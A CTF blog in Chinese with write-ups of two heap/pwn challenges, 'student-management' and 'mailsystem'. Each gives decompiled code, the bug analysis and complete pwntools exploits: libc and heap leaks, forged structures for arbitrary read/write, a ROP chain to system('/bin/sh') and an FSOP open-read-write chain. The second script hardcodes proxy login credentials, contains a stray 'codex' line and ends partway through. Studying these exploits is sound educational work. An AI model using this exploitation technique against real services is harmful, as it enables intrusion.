CTF on Nan0inPsyLog

软件系统安全决赛-student-management

Sun, 24 May 2026 11:34:00 +0000

大家都喜欢的学生管理系统

分析

文件保护全开，glibc为2.39版本

提供注册登录删除三个功能

结构体分析

register函数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26


void sub_13A8()
{
 _QWORD *buf; // [rsp+8h] [rbp-8h]

 buf = (_QWORD *)sub_12A9(0x88);
 if ( buf )
 {
 puts("\n=== Registration ===");
 printf("ID: ");
 *((_BYTE *)buf + read(0, buf, 0xFu)) = 0;
 if ( sub_1351(buf) ) //sub_1351中通过next指针检查用户id是否存在
 {
 puts("[-] ID exists");
 free(buf);
 }
 else
 {
 printf("Name: ");
 *((_BYTE *)buf + read(0, buf + 2, 0x3Fu) + 16) = 0;
 printf("Pass: ");
 *((_BYTE *)buf + read(0, buf + 10, 0x1Fu) + 80) = 0;
 buf[16] = qword_4030;
 qword_4030 = (__int64)buf;
 }
 }
}

login函数

bio编辑，修改用户内容

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29


unsigned __int64 __fastcall sub_163D(__int64 a1)
{
 _BYTE *v1; // rbx
 int v3; // [rsp+14h] [rbp-1Ch] BYREF
 unsigned __int64 v4; // [rsp+18h] [rbp-18h]

 v4 = __readfsqword(0x28u);
 printf("\nNew bio size: ");
 __isoc99_scanf("%d", &v3);
 getchar();
 if ( v3 > 0 && v3 <= 1024 )
 {
 if ( *(_QWORD *)(a1 + 112) && *(_QWORD *)(a1 + 120) < (unsigned __int64)v3 )
 {
 free(*(void **)(a1 + 112));
 *(_QWORD *)(a1 + 112) = sub_12A9(v3);
 *(_QWORD *)(a1 + 120) = v3;
 }
 else if ( !*(_QWORD *)(a1 + 112) )
 {
 *(_QWORD *)(a1 + 112) = sub_12A9(v3);
 *(_QWORD *)(a1 + 120) = v3;
 }
 printf("Content: ");
 v1 = *(_BYTE **)(a1 + 112);
 v1[read(0, v1, v3 - 1)] = 0;
 }
 return v4 - __readfsqword(0x28u);
}

查看用户具体信息

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


int __fastcall sub_15C9(__int64 a1)
{
 __int64 v1; // rax

 puts("\n=== Profile ===");
 printf("Name: %s\nID: %s\n", (const char *)(a1 + 16), (const char *)a1);
 v1 = *(_QWORD *)(a1 + 112);
 if ( v1 )
 LODWORD(v1) = printf("Bio: %s\n", *(const char **)(a1 + 112));
 return v1;
}

根据以上三个函数我们可以逆向分析出student的结构体内容

1
2
3
4
5
6
7
8
9


struct student
{
 char id[0x10];
 char name[0x40];
 char pass[0x20];
 char *bio;
 size_t bio_size;
 student *next;
};

新增bio

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29


unsigned __int64 __fastcall sub_163D(student *a1)
{
 char *bio; // rbx
 int v3; // [rsp+14h] [rbp-1Ch] BYREF
 unsigned __int64 v4; // [rsp+18h] [rbp-18h]

 v4 = __readfsqword(0x28u);
 printf("\nNew bio size: ");
 __isoc99_scanf("%d", &v3);
 getchar();
 if ( v3 > 0 && v3 <= 1024 )
 {
 if ( a1->bio && a1->bio_size < v3 )
 {
 free(a1->bio);
 a1->bio = (char *)enc_malloc(v3);
 a1->bio_size = v3;
 }
 else if ( !a1->bio )
 {
 a1->bio = (char *)enc_malloc(v3);
 a1->bio_size = v3;
 }
 printf("Content: ");
 bio = a1->bio;
 bio[read(0, bio, v3 - 1)] = 0;
 }
 return v4 - __readfsqword(0x28u);
}

size<=0x400，若不存在已有bio就往chunk+0x70分配一个新指针，往0x78写size并补0（因为在打印信息里会截断，用来）

删除用户

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26


if ( s == 3 )
 {
 printf("\nID to delete: ");
 buf[read(0, buf, 0xFu)] = 0;
 v5 = (void **)&qword_4030;
 ptr = nullptr;
 while ( *v5 )
 {
 if ( !strcmp((const char *)*v5, buf) )
 {
 ptr = (student *)*v5;
 *v5 = ptr->next;
 if ( ptr->bio )
 {
 free(ptr->bio);
 ptr->bio = nullptr;
 }
 free(ptr);
 printf("[+] Student %s deleted\n", buf);
 break;
 }
 v5 = (void **)((char *)*v5 + 128);
 }
 if ( !ptr )
 puts("[-] Not found");
 }

检验chunk寻找id，检验通过后检查0x70有无信息指针，存在则释放内容，清空指针，并从链表中删除

漏洞点

在注册函数中

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26


void register()
{
 student *buf; // [rsp+8h] [rbp-8h]

 buf = (student *)enc_malloc(0x88);
 if ( buf )
 {
 puts("\n=== Registration ===");
 printf("ID: ");
 buf->id[read(0, buf, 0xFu)] = 0;
 if ( sub_1351(buf) )
 {
 puts("[-] ID exists");
 free(buf);
 }
 else
 {
 printf("Name: ");
 buf->name[read(0, buf->name, 0x3Fu)] = 0;
 printf("Pass: ");
 buf->pass[read(0, buf->pass, 0x1Fu)] = 0;
 buf->next = (student *)qword_4030;
 qword_4030 = (__int64)buf;
 }
 }
}

在分配一个新的堆块的时候注意到只写入了id name pass 和一个next链接到student链表中，步入查看具体实现的malloc

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


void *__fastcall sub_12A9(size_t a1)
{
 void *v2; // [rsp+18h] [rbp-8h]

 v2 = malloc(a1);
 if ( !v2 )
 {
 puts("malloc failed");
 exit(1);
 }
 printf("token: %lx\n", (unsigned __int16)v2 & 0xFFF);
 return v2;
}

发现程序实现的malloc没有将分配空间memset为0，不会清空chunk数据，如果合理构造堆块，在free之后再次分配就可以任意读写到bio，结合上面的register可以想到是否能将poinsoned chunk链入来leak出内容呢？

attack & fix

fix部分

上一次的fix也是手打的AwdPwnpatcher，这一次不知为何过不了。。。前一天晚上本来睡前美美git clone 了一个evilpatcher准备拿来上通防到了赛场发现没有了？！（估计是前一天晚上锁屏的时候wifi自动断开了），总之思路有以下几种

通防沙箱
memset后置零
修改fix脚本，例如rm /flag也能过check 神秘的是复赛的时候我尝试fix.sh的手法是过不了的……我只能说fix这一块真是让我意想不到 patch.py:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22


from AwdPwnPatcher import AwdPwnPatcher
src = "./original/pwn"
out= "./out/pwn_patch"

ASM = """
mov rdx, qword ptr [rbp-0x18]
xor esi, esi
mov rdi, qword ptr [rbp-0x8]
call 0x1150
mov rax, qword ptr [rbp-0x8]
leave
ret
"""

def main():
 patcher = AwdPwnPatcher(src, adjust_eh_frame_size=False)
 patcher.patch_origin(0x12e9, 0x130f, assembly=ASM)
 patcher.save(out, fix_eh_frame_flags=False)


if __name__ == "__main__":
 main()

attack

堆风水构造，反向释放合并完unsorted bin留存main_arena指针，此时一个足够大可以分割的unsorted bin可让我们用于构造堆风水

login之后在edit_bio的时候我们可以申请任意大小堆块，填满tcache后再次申请0x120大小堆块分掉，再次register后后可以leak地址
此处我们需要两个chunk的空间，填满tcache后从unsorted bin里切割0x130大小的chunk给bio，我们新register的用户残留的bio里就会有二级指针可以指向main_arena的悬垂指针了，同理如果我们利用剩余的unsorted bin构建好在这个二级指针处放的是一个bio指针，就可以leak heap地址了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21


for i in range(13):
 register(i, i, i)

register(13,13,13) #avoid consolidation
register(15,15,15)
for i in range(0,7):
 delete(i) # tcache
for i in range(7,13)[::-1]:
 delete(i) # unsorted bin consolidation 

for i in range(7):
 register(i, i,i)

edit_bios(13,13,0x120,b"aaa")
register(14,14,14)
register(16,16,16)

out = show(14,14)
leak = out.split(b"Bio: ", 1)[1].split(b"\n\n1.View", 1)[0]
libc_leak = u64(leak.ljust(8, b"\x00"))
libc_base = libc_leak - 0x203b20

注意到我们目前student14->bio指向了heap+0x720，可以再次利用，伪造一个student结构体

write->student14(bio)-0xa0,我们从0x5627ba2d07a0开始更改掉size就可以overlapping写掉student14的结构体内容，如下

1
2
3
4
5
6
7
8


student14-> bio
⬇️
+0xa0 -> student14.id
+0xb0 -> student14.name
+0xf0 -> student14.pass
+0x110 -> student14.bio
+0x118 -> student14.bio_size
+0x120 -> student14.next

通过arb write我们写入bio拿environ
欸🤓☝️我们再次用上面leak heap的指针写一次不就可以写掉返回地址构造rop链exit get shell了当然也可以打IO(笑)

exploit

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175


import argparse
import sys
import socks
import socket
from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument(
 "mode",
 type=int,
 choices=[0, 1, 2],
 nargs="?",
 default=0,
 help="0=local,1=local+gdb,2=remote",
)
args = parser.parse_args()

filename = "./pwn"
libc_name = "./libc.so.6"
arch = "amd64"
remote_addr = "localhost"
remote_port = 1337

context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
 context.terminal = ["tmux", "splitw", "-h"]

def VIO_TEXT(x, code=95):
 return log.info(f"\x1b[{code}m{x}\x1b[0m")

def CLEAR_TEXT(x, code=32):
 return log.success(f"\x1b[{code}m{x}\x1b[0m")

if args.mode == 0:
 io = process(filename)
 CLEAR_TEXT("[*] Running on local machine")
elif args.mode == 1:
 io = process(filename)
 gdb.attach(io, gdbscript='''
 # put your scripts here
 ''')
elif args.mode == 2:
 socks.set_default_proxy(
 socks.SOCKS5,
 "domain",
 remote_port,
 username="",
 password="",
 )
 socket.socket = socks.socksocket
 io = remote(remote_addr, remote_port)
else:
 sys.exit(1)

elf = ELF(filename, checksec=False)
if libc_name:
 libc = ELF(libc_name, checksec=False)

def cmd(choice):
 io.sendlineafter(b"> ", str(choice).encode())

def register(id,name,password):
 cmd(1)
 io.sendlineafter(b"ID: ", str(id).encode())
 io.sendafter(b"Name: ", str(name).encode())
 io.sendafter(b"Pass: ", str(password).encode())

def show(id,password):
 cmd(2)
 io.sendlineafter(b"ID: ", str(id).encode())
 io.sendafter(b"Pass: ", str(password).encode())
 cmd(1)
 return io.recvuntil(b"0.Logout\n")

def login(id,password):
 cmd(2)
 io.sendlineafter(b"ID: ", str(id).encode())
 io.sendafter(b"Pass: ", str(password).encode())

def edit_current(size, content):
 cmd(2)
 io.sendlineafter(b"size: ", str(size).encode())
 io.sendafter(b"ontent: ", content)

def edit_bios(id,password,size,content):
 cmd(2)
 io.sendlineafter(b"ID: ", str(id).encode())
 io.sendafter(b"Pass: ", str(password).encode())
 cmd(2)
 io.sendlineafter(b"size: ", str(size).encode())
 io.sendafter(b"ontent: ", content)
 cmd(0)

def delete(id):
 cmd(3)
 io.sendlineafter(b"delete: ", str(id).encode())

def logout():
 cmd(0)

def tcache_pointer(a,b):
 return p64(b^(a>>12)) # tcache加密方式为上一个堆块地址左移12位异或地址本身

def overlap_student(id,bio,bio_size):
 off=0xa0
 id=str(id).encode()
 fake_student=flat(
 {
 off: id+b"\n\x00",
 off+0x10:id+b"\x00",
 off+0x50:id+b"\x00",
 off+0x70:p64(bio),
 off+0x78:p64(bio_size),
 },filler=b"\x00",length=0x120
 )
 return fake_student

# --- Exploit Start ---
for i in range(13):
 register(i, i, i)

register(13,13,13) #avoid consolidation
register(15,15,15)
for i in range(0,7):
 delete(i) # tcache
for i in range(7,13)[::-1]:
 delete(i) # unsorted bin consolidation 

for i in range(7):
 register(i, i,i)

edit_bios(13,13,0x120,b"aaa")
register(14,14,14)
register(16,16,16)

out = show(14,14)
leak = out.split(b"Bio: ", 1)[1].split(b"\n\n1.View", 1)[0]
libc_leak = u64(leak.ljust(8, b"\x00"))
libc_base = libc_leak - 0x203b20
libc.address = libc_base

VIO_TEXT(f"libc base = {hex(libc_base)}")
logout()

edit_bios(16,16,0x90,b"bbb")
register(17,17,17)
out=show(17,17)
leak = out.split(b"Bio: ", 1)[1].split(b"\n\n1.View", 1)[0]
# pause()
heap_base= u64(leak.ljust(8, b"\x00"))-0x2a0
VIO_TEXT(f"heap base = {hex(heap_base)}")
logout()

# pause()
edit_bios(14,14,0x121,overlap_student(14,libc.sym["environ"],0x400))
out=show(14,14)
leak = out.split(b"Bio: ", 1)[1].split(b"\n\n1.View", 1)[0]
environ = u64(leak.ljust(8, b"\x00"))
ret_addr = environ - 0x130
VIO_TEXT(f"ret = {hex(ret_addr)}")
logout()

rop=flat(
 libc.address + 0x2882F, # ret
 next(libc.search(asm("pop rdi; ret"))),
 next(libc.search(b"/bin/sh\x00")),
 libc.sym["system"],
)


edit_bios(16,16,0x121,overlap_student(16,ret_addr,len(rop)+1))
edit_bios(16,16,len(rop)+1,rop)
logout()

io.interactive()

软件系统安全赛 - mailsystem

Sat, 14 Mar 2026 19:21:00 +0000

分析

初步分析

保护全开，并且剥离了符号，程序执行的是一个邮件文件系统

沙箱禁用了execve和execveat

普通用户:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48


unsigned __int64 __fastcall user_session(size_t *a1)
{
 int v2; // [rsp+10h] [rbp-10h] BYREF
 int v3; // [rsp+14h] [rbp-Ch]
 unsigned __int64 v4; // [rsp+18h] [rbp-8h]

 v4 = __readfsqword(0x28u);
 while ( 1 )
 {
 while ( 1 )
 {
 show_user_menu();
 v2 = 0;
 if ( (unsigned int)__isoc99_scanf("%d", &v2) == 1 )
 break;
 while ( getchar() != 10 )
 ;
 puts("Invalid input!");
 putchar(10);
 }
 if ( v2 == 4 )
 break;
 if ( v2 > 4 )
 goto LABEL_16;
 switch ( v2 )
 {
 case 3:
 v3 = send_draft(a1);
 if ( v3 == 1 )
 return v4 - __readfsqword(0x28u);
 break;
 case 1:
 write_draft((__int64)a1);
 break;
 case 2:
 read_mail_menu((__int64)a1);
 break;
 default:
LABEL_16:
 puts("Invalid choice!");
 putchar(10);
 break;
 }
 }
 puts("Logging out...");
 putchar(10);
 return v4 - __readfsqword(0x28u);
}

可以读写发送草稿和登出

管理员用户

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50


unsigned __int64 admin_session()
{
 int v1; // [rsp+4h] [rbp-Ch] BYREF
 unsigned __int64 v2; // [rsp+8h] [rbp-8h]

 v2 = __readfsqword(0x28u);
 while ( 1 )
 {
 while ( 1 )
 {
 puts("=== Admin Menu ===");
 puts("1. Change user info");
 puts("2. Delete user");
 puts("3. Mail to user");
 puts("4. Mail user to user");
 puts("5. Logout");
 printf("Your choice: ");
 v1 = 0;
 if ( (unsigned int)__isoc99_scanf("%d", &v1) == 1 )
 break;
 while ( getchar() != 10 )
 ;
 puts("Invalid input!");
 putchar(10);
 }
 switch ( v1 )
 {
 case 1:
 admin_change_user();
 break;
 case 2:
 admin_delete_user();
 break;
 case 3:
 admin_send_mail();
 break;
 case 4:
 admin_forward_mail();
 break;
 case 5:
 puts("Logging out as admin...");
 putchar('\n');
 return v2 - __readfsqword(0x28u);
 default:
 puts("Invalid choice!");
 putchar('\n');
 break;
 }
 }
}

可以改删用户，转发邮件和代发邮件

admin越权

追踪初始化函数中的qword_70c0，为admin的校验用字符的堆起始地址，使用的是随机数值，并设定了风控数组，根据时间来随机化，如果触发短时间快速修改便会直接被风控检测而直接将当前用户ban掉而illegal回到login界面，并置acitve为0以恢复的user_t结构体大致如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19


struct user_t
{
 char inbox[256]; // 0x000 - 0x100
 uint64_t draft_size; // 0x100 - 0x108
 uint64_t reserved_108; // 0x108 - 0x110
 char draft[256]; // 0x110 - 0x210
 uint64_t inbox_size; // 0x210 - 0x218
 char reserved_218[96]; // 0x218 - 0x278
 uint64_t uid; // 0x278 (即 632)
 // alloc 中 *(ptr + 632) = j + 1
 // ban 中 v4[79] = 0 (79 * 8 = 632)
 char reserved_280[24]; // 0x280 - 0x298
 char username[40]; // 0x298 (即 664)
 char password[40]; // 0x2C0 (即 704)
 // ban 中 fread(v4 + 88...) 写入随机数 (88 * 8 = 704)
 char reserved_2e8[160]; // 0x2E8 - 0x388
 uint64_t activate;
 char reserved_390[136]; // 0x390 - 0x410
};

风控函数如下，位于用户发送邮件的部分

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38


__int64 __fastcall sub_1429(int a1)
{
 time_t v2; // [rsp+10h] [rbp-20h]
 time_t *v3; // [rsp+18h] [rbp-18h]
 _QWORD *v4; // [rsp+20h] [rbp-10h]
 FILE *stream; // [rsp+28h] [rbp-8h]

 v2 = time(0);
 v3 = &g_risk_stats[34 * a1 - 34];
 if ( v2 - *v3 > 10 || *((int *)v3 + 2) <= 4 )
 {
 if ( v2 - *v3 > 10 )
 {
 *((_DWORD *)v3 + 2) = 0;
 *v3 = v2;
 }
 return 0;
 }
 else
 {
 printf("\x1B[1;31;40m[SECURITY] Risk detected for user %d! Account banned.\x1B[0m\n", a1);
 if ( a1 > 0 && a1 <= 12 && g_users[a1 - 1] )
 {
 v4 = (_QWORD *)g_users[a1 - 1];
 v4[83] = 'lagelli';
 stream = fopen("/dev/urandom", "rb");
 if ( stream )
 {
 fread(v4 + 88, 1u, 0x10u, stream);
 fclose(stream);
 }
 v4[79] = 0;
 puts("Account has been banned!");
 puts("Returning to login menu...\n");
 }
 return 1;
 }
}

与用户本身还相关的有register, 每一个用户会分配一定chunk空间进行更改

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38


__int64 __fastcall alloc_user_slot(__int64 a1)
{
 int v2; // [rsp+14h] [rbp-Ch]
 int i; // [rsp+18h] [rbp-8h]
 int j; // [rsp+1Ch] [rbp-4h]

 v2 = 0;
 for ( i = 0; i <= 11; ++i )
 {
 if ( *(_QWORD *)(8LL * i + a1) && *(_QWORD *)(*(_QWORD *)(8LL * i + a1) + 632LL) )
 ++v2;
 }
 if ( v2 <= 7 )
 {
 for ( j = 0; ; ++j )
 {
 if ( j > 12 )
 return 0xFFFFFFFFLL;
 if ( !*(_QWORD *)(8LL * j + a1) || *(_QWORD *)(*(_QWORD *)(8LL * j + a1) + 904LL) != 1 )
 break;
 }
 *(_QWORD *)(8LL * j + a1) = malloc(0x410u);
 memset(*(void **)(8LL * j + a1), 0, 0x410u);
 if ( !*(_QWORD *)(8LL * j + a1) )
 {
 perror("malloc failed");
 exit(-1);
 }
 *(_QWORD *)(*(_QWORD *)(8LL * j + a1) + 632LL) = j + 1;
 *(_QWORD *)(*(_QWORD *)(8LL * j + a1) + 904LL) = 1;
 return (unsigned int)j;
 }
 else
 {
 puts("User full!");
 return 0xFFFFFFFFLL;
 }
}

最多8个活跃用户和12个注册用户，注意到注册用户的时候退出条件是>12，结合上面的风控检测函数，被封禁的用户会让活跃数-1但是仍然占据注册位置，如果我们ban掉前12个用户，最后一次注册便可以覆盖到admin用户上，而此时便会将admin的指针绑定到一块新的chunk上，此时账号密码都在0x410范围内，malloc归零

输入\x00即可绕过进行admin登录

任意写和payload

forward_mail没有判定小于0，可以打IO结构体转发内容用于leak libc，并可以同理leak出environ拿栈上地址打stdin原语写进行FSOP orw，但是要注意到最后的交互速度不够快的话程序会在中间卡断而无法读取flag，很诡的是远程可能小版本有差异导致login_ret的实际偏移是0x1c0而不是本地的0x1b8，所以还要爆破一下远程的偏移

利用思路

将用户槽位填满并进行同步的风控封禁用户，注册拿到admin权限
在admin权限下恢复一个用户后将stderr内容转发到恢复用户上泄漏libc
写stdout后leak environ拿栈上地址
控制stdin重定位到admin ret，打FSOP orw

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285


import argparse
import sys
import socks
from time import sleep
import re
from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument(
 "mode",
 type=int,
 choices=[0, 1, 2],
 nargs="?",
 default=0,
 help="0=local, 1=local+gdb, 2=remote",
)

parser.add_argument("--socks", type=str, default="2.dart.ccsssc.com:26768", help="SOCKS proxy")
parser.add_argument("--socksuser", type=str, default="czi1f8vx", help="SOCKS username")
parser.add_argument("--sockspass", type=str, default="2oubcjw5", help="SOCKS password")
parser.add_argument("--delta", type=lambda x: int(str(x), 0), default=0x1B8, help="login_ret offset delta") # delta用于远程leak stack调整参数爆破
args = parser.parse_args()

filename = "./pwn"
libc_name = "./libc.so.6"
LD = "./ld-linux-x86-64.so.2"
arch = "amd64"

context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
 context.terminal = ["tmux", "splitw", "-h"]

def VIO_TEXT(x, code=95):
 log.info(f"\x1b[{code}m{x}\x1b[0m")

def CLEAR_TEXT(x, code=32):
 log.success(f"\x1b[{code}m{x}\x1b[0m")

elf = ELF(filename, checksec=False)
libc = ELF(libc_name, checksec=False)

if args.mode == 0:
 io = process([LD, "--library-path", ".", filename])
 CLEAR_TEXT("[*] Running on local machine with custom libc")
elif args.mode == 1:
 io = process([LD, "--library-path", ".", filename])
 gdb.attach(io, gdbscript='''
 # put your scripts here
 c
 ''')
 CLEAR_TEXT("[*] Running local with GDB")
elif args.mode == 2:
 if args.socks:
 proxy_host, proxy_port = args.socks.split(":", 1)
 sock = socks.socksocket()
 sock.set_proxy(
 socks.SOCKS5,
 proxy_host,
 int(proxy_port),
 username=args.socksuser,
 password=args.sockspass,
 )
 sock.connect((args.host, args.port))
 io = remote.fromsocket(sock)
 CLEAR_TEXT(f"[*] Connected to remote {args.host}:{args.port} via SOCKS5 {args.socks}")
 else:
 io = remote(args.host, args.port)
 CLEAR_TEXT(f"[*] Connected to remote {args.host}:{args.port} directly")
else:
 sys.exit(1)


# user用户函数
def register(name, password):
 io.sendline(b"2")
 io.sendafter(b"Input your name: ", name + b"\n")
 io.sendafter(b"Input your password: ", password + b"\n")
 io.recvuntil(b"Your choice: ")

def login(name, password):
 io.sendline(b"1")
 io.sendafter(b"Input your name: ", name + b"\n")
 io.sendafter(b"Input your password: ", password + b"\n")
 return io.recvuntil(b"Your choice: ")

def write_draft(data):
 io.sendline(b"1")
 io.sendafter(b"(1-256): ", str(len(data)).encode() + b"\n")
 io.sendafter(b"bytes):\n", data)
 io.recvuntil(b"Your choice: ")

def send_mail(uid, overwrite=True):
 io.sendline(b"3")
 io.sendafter(b"1-12)", str(uid).encode() + b"\n")
 out = io.recvuntil((b"Overwrite? (y/n): ", b"Your choice: "))
 if b"Overwrite?" in out:
 io.sendline(b"y" if overwrite else b"n")
 out += io.recvuntil(b"Your choice: ")
 return out

def logout_user():
 io.sendline(b"4")
 io.recvuntil(b"Your choice: ")


# admin用户函数
def admin_change(uid, field, value):
 io.sendline(b"1")
 io.sendafter(b"Enter user ID to modify (1-12): ", str(uid).encode() + b"\n")
 io.recvuntil(b"Your choice: ")
 io.sendline(str(field).encode())
 prompt = b"Enter new username: " if field == 1 else b"Enter new password: "
 io.sendafter(prompt, value + b"\n")
 io.recvuntil(b"Your choice: ")

def admin_forward(src, dst, choose):
 io.sendline(b"4")
 io.sendafter(b"Enter source user ID (whose mail to forward): (1-12) ", str(src).encode() + b"\n")
 io.sendafter(b"Enter destination user ID (1-12): ", str(dst).encode() + b"\n")
 out = io.recvuntil((b"Your choice: ", b"Overwrite? (y/n): "))
 if b"Overwrite?" in out:
 io.sendline(b"y")
 out += io.recvuntil(b"Your choice: ")
 if b"Which mail would you like to forward?" in out:
 io.sendline(str(choose).encode())
 out += io.recv()
 return out

def logout_admin():
 io.sendline(b"5")
 io.recvuntil(b"Your choice: ")

def read_user_inbox(user, password):
 login(user, password)
 io.sendline(b"2")
 io.recvuntil(b"Your choice: ")
 io.sendline(b"2")
 out = io.recvuntil(b"Your choice: ")
 io.sendline(b"3")
 io.recvuntil(b"Your choice: ")
 logout_user()
 return out

def relogin_admin():
 login(b"\x00", b"\x00")
codex

# payload
def leak_libc():
 admin_change(1, 1, b"nan0in") #恢复一个用户用于使用
 admin_change(1, 2, b"nan0in")
 admin_forward(-3, 1, 1) #写出stdout
 logout_admin()
 out = read_user_inbox(b"nan0in", b"nan0in")
 relogin_admin()
 leak = out.split(b"Inbox (new mail):\n", 1)[1].split(b"\n\nWhat would", 1)[0]
 return u64(leak.ljust(8, b"\x00")) - libc.symbols["_IO_2_1_stdout_"] - 0x83

def leak_qword_via_stdout(addr):
 payload=flat(
 {
 0x00:0xfbad1800,
 0x20:addr,
 0x28:addr + 8,
 0x30:addr + 8,
 },
 filler=b"\x00",length=0x60
 )

 logout_admin()
 login(b"nan0in", b"nan0in")
 write_draft(payload)
 logout_user()
 relogin_admin()

 io.sendline(b"4")
 io.sendafter(b"Enter source user ID (whose mail to forward): (1-12) ", b"1\n")
 io.sendafter(b"Enter destination user ID (1-12): ", b"-7\n")
 io.recvuntil(b"Your choice: ")
 io.sendline(b"1")

 leak = io.recvn(8)
 io.recv()
 return u64(leak)

def build_stdin_payload(libc_base, target, reserve):
 stdin_addr = libc_base + libc.symbols["_IO_2_1_stdin_"]
 payload=flat([
 0xFBAD208B, # 0x00: _flags (Magic number)
 target, # 0x08: _IO_read_ptr
 target, # 0x10: _IO_read_end
 target, # 0x18: _IO_read_base
 stdin_addr + 0x83, # 0x20: _IO_write_base
 stdin_addr + 0x83, # 0x28: _IO_write_ptr
 stdin_addr + 0x83, # 0x30: _IO_write_end
 target, # 0x38: _IO_buf_base (劫持写入的目标地址)
 target + reserve # 0x40: _IO_buf_end (允许写入的结束地址)
 ])
 return payload

def orw(chain_base, libc_base):
 pop_rdi = libc_base + 0x2a3e5
 pop_rsi = libc_base + 0x2be51
 pop_rdx_r12 = libc_base + 0x11f357
 pop_rax = libc_base + 0x45eb0
 syscall_ret = libc_base + 0x91316

 rop_len = 360 # 45*8
 flag1 = chain_base + rop_len
 flag2 = flag1 + len(b"flag\x00")
 buf = flag2 + len(b"/flag\x00") + 0x10

 payload=flat(
 pop_rax, 2, pop_rdi, flag1, pop_rsi, 0, pop_rdx_r12, 0, 0, syscall_ret, # open，两个路径都开一下
 pop_rax, 2, pop_rdi, flag2, pop_rsi, 0, pop_rdx_r12, 0, 0, syscall_ret, # open
 pop_rax, 0, pop_rdi, 3, pop_rsi, buf, pop_rdx_r12, 0x100, 0, syscall_ret, # read
 pop_rax, 1, pop_rdi, 1, pop_rsi, buf, pop_rdx_r12, 0x100, 0, syscall_ret, # write
 pop_rax, 60, pop_rdi, 0, syscall_ret, # exit
 b"flag\x00/flag\x00".ljust(0x18, b"\x00"),
 )

 return payload

def blind_prep(stdin_payload):
 blob = b"5\n"
 blob += b"1\n" + b"nan0in\n" + b"nan0in\n"
 blob += b"1\n" + str(len(stdin_payload)).encode() + b"\n" + stdin_payload
 blob += b"4\n"
 blob += b"1\n" + b"\x00\n" + b"\x00\n"
 blob += b"4\n1\n-5\ny\n1\n"
 return blob


def solve():
 io.recvuntil(b"Your choice: ")

 # 拿admin
 for id in range(1, 13):
 name = f"u{id}".encode()
 password = f"p{id}".encode()
 register(name, password)
 login(name, password)

 for _ in range(10):
 write_draft(b"hijack to admin")
 out = send_mail(id, True)
 if b"Risk detected" in out:
 VIO_TEXT(f"-->Banned user {id}")
 break

 if b"Your choice: " not in out:
 io.recvuntil(b"Your choice: ")

 register(b"hijack", b"hijack")
 # pause()
 CLEAR_TEXT(f"Admin pointer successfully overwritten via user {id}")

